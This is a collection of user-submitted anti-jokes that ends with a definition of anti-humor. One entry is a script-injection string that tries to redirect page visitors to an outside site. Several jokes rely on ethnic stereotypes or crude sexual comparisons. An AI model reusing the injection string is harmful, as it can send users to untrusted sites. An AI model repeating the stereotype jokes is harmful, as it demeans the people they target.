Q: Why was the man wet? A: I push him in a pool.

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Whats the difference between 2 white men? They both have different jobs and one is racist orange peel.

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A black man walks into a bar. The bartender say, "Sorry, we don't serve your kind here." The man continues to order a drink when he realises the comment was directed at the elephant standind behind him.

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A blonde walks into an electronics store. She asks an assistant, "Can I buy that TV"? He says, "Sure, no problem." She then walks out of the store, happy with the purchase that she made.

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Not even I believe you will ever know yourself that well ever Nero, you see what you created as a false illusion, as all of your, or rather our effort for nothing, as a pathetic attempt to create heaven on earth. In my eyes, you succeeded in doing so, and if it where for you, or more people such as yourself and I, it would have lasted, stop trying to give people what they do not deserve, and remember that making others happy will never cure the sadness and pain deep within you, only cover it. Stop fleeing from yourself, stay, get to know yourself.

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What did the cat say when it stepped in poo? Meow.

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An Asian walks into a bar and says, "1???????????"

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What's the sexiest thing on a farm? It depends on what you find sexy, and your personal perception of a farm.

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Why did the plane crash into the mountain? The Pilot was a tomato

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Why was Ethan talking to the potato? Because he is stupid.

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roses are red violets are blue i'm chinese and i don't know a joke pickle.

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A man with Tourettes walks into his Daughter's kindergarten classroom. Fortunately, he was able to control himself and refrain from any outbursts of profanity during the visit.

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A young boy walked in on his mom and dad in their room lastnight They were having a leisurely evening playing scrabble

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How can you tell if a duck is behind you? Turn around

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Windows are likes prostitutes. You can have two in the front and two in the back!

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How many straight naked men can you fit in a wardrobe? I'm not sure but the situation is highly unlikely!

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Why does Tim Tebow kneel and pray after there's a positive outcome of the previous play? No, seriously, why does he do that?

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What is the first letter of the alphabet? A. a B. 7 C. Mustard gas D. Because a penguin has 2 legs

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I was going to write a joke about procrastination, but I haven't gotten to it yet.

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(Knock knock) A:who is it? B:its the police open up where coming in B:I SAID OPEN THE BLOODY DOOR A:(SHIT)

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KOOKABURRA

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What do you call an elephant mixed with a rhino? A freak.

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"'>document.location.href="http://cramik.org"

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Hey I just met you I'm on bathsalts your face looks tasty

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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